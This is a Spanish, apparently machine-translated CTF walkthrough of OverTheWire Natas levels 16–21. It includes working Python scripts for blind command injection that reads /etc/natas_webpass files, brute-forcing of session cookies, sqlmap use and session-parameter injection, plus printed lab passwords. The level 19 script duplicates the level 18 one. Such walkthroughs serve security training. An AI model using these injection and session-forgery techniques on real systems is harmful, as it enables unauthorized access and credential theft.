Natas Web. Paso de la plataforma CTF destinada a explotar vulnerabilidades web. Parte 3

imagen

En este artículo, trataremos el funcionamiento de algunas identidades WEB utilizando el juego de guerra Natas como ejemplo. Cada nivel tiene acceso a la contraseña del siguiente nivel. Todas las contraseñas también se almacenan en los archivos / etc / natas_webpass /. Por ejemplo, la contraseña para natas5 se almacena en el archivo / etc / natas_webpass / natas5 y es de solo lectura para los usuarios natas4 y natas5.

Partes pasadas: parte 1 y parte 2 .

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

nivel 16


A juzgar por el código fuente, todos los caracteres de servicio se filtran, y la transferencia de "pegado" desde dos archivos es imposible, ya que la cadena se transmite entre comillas.

imagen

Usando construcciones como $ (cmd) puede controlar la salida de "clave".

imagen

La idea es esta:
  1. Si la construcción grep -i "key" file.txt, key es una cadena vacía, se mostrará todo el archivo.
  2. Como solo hay una línea en el archivo con la contraseña, podemos controlar su salida.
  3. Al pasar la expresión regular a grep dentro de la construcción $ (cmd), generaremos una línea con una contraseña (cuando supongamos el comienzo de la contraseña) en el parámetro -i y no se generarán líneas desde dictionary.txt, o en lugar de una línea con la contraseña será una cadena vacía y se mostrará todo el archivo dictionary.txt.

import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd) 

imagen

Tengo una contraseña

nivel 17


Usamos sqlmap de acuerdo con el escenario anterior (de la segunda parte).

imagen

imagen

imagen

Hay una contraseña

nivel 18


Analicemos el código fuente.

imagen

El primer paso es verificar si las cookies están configuradas en el navegador. (Función my_session_start ()).

imagen

Dado que no hay nada para controlar las cookies en la tarea, entonces deben establecerse, es decir, la función devolverá false y en el código raíz iremos a la rama else. Verificando el llenado de los campos de nombre de usuario y contraseña. La función session_id () toma un número aleatorio en el rango de 1 a 640 (lo cual es muy extraño por qué tal restricción) y crea configuraciones de configuración para la función session_start ().

imagen

imagen

A continuación, el nombre de usuario == "admin" está marcado. Si iniciamos sesión como administrador, se nos informa sobre esto y se nos da una contraseña para el siguiente nivel.

imagen

Idea de solución: el rango de identificación se define para los usuarios. Escribiremos un archivo de fuerza bruta que irá a la página con una identificación en el rango de 1 a 640.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

imagen

Obtenemos la contraseña con id = 119.

nivel 19


Como el código es el mismo, la idea es la misma. Veamos la galleta.

imagen

Cadena hexadecimal codificada. Vamos a decodificar

imagen

Solo queda cambiar el código.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 


imagen

Hay una contraseña

nivel 20


Después de analizar el código fuente, podemos suponer que 2 funciones merecen atención.

La función mywrite () escribe datos en cada línea como key_value. Pero la clave se selecciona aleatoriamente y el valor se transfiere desde el campo de entrada.

imagen

La función myread () pasa por todas las líneas y lee datos separados por espacios (clave y valor).

imagen

Solo veremos la contraseña si la línea "admin 1" aparece en dicho archivo. El hecho es que podemos pasar por alto la lógica de la aplicación y anotar tantas líneas como queramos. Para hacer esto, debemos enviar una línea de la forma "Value0_TranslationStrings_Key1_Value1, etc."

imagen

Después de que el valor se escribe en el archivo, volvemos a cargar la página para que se lea del archivo.

imagen

Le quitamos la contraseña.

nivel 21


Contamos con dos versiones del sitio. El hecho es que las cookies y la sesión están disponibles para transferir entre diferentes páginas en el mismo dominio. Estudiamos el código fuente del segundo sitio. Todos los parámetros aceptados se establecen en la sesión. Por analogía con los niveles anteriores, debe configurar admin => 1.

imagen

Simplemente agregue un nuevo parámetro de administrador con un valor de 1, vuelva a cargar la página y coloque estas cookies en la página principal.

imagen

imagen

Le quitamos la contraseña.

Continuará Puedes unirte a nosotros en Telegram .

Source: https://habr.com/ru/post/464729/


All Articles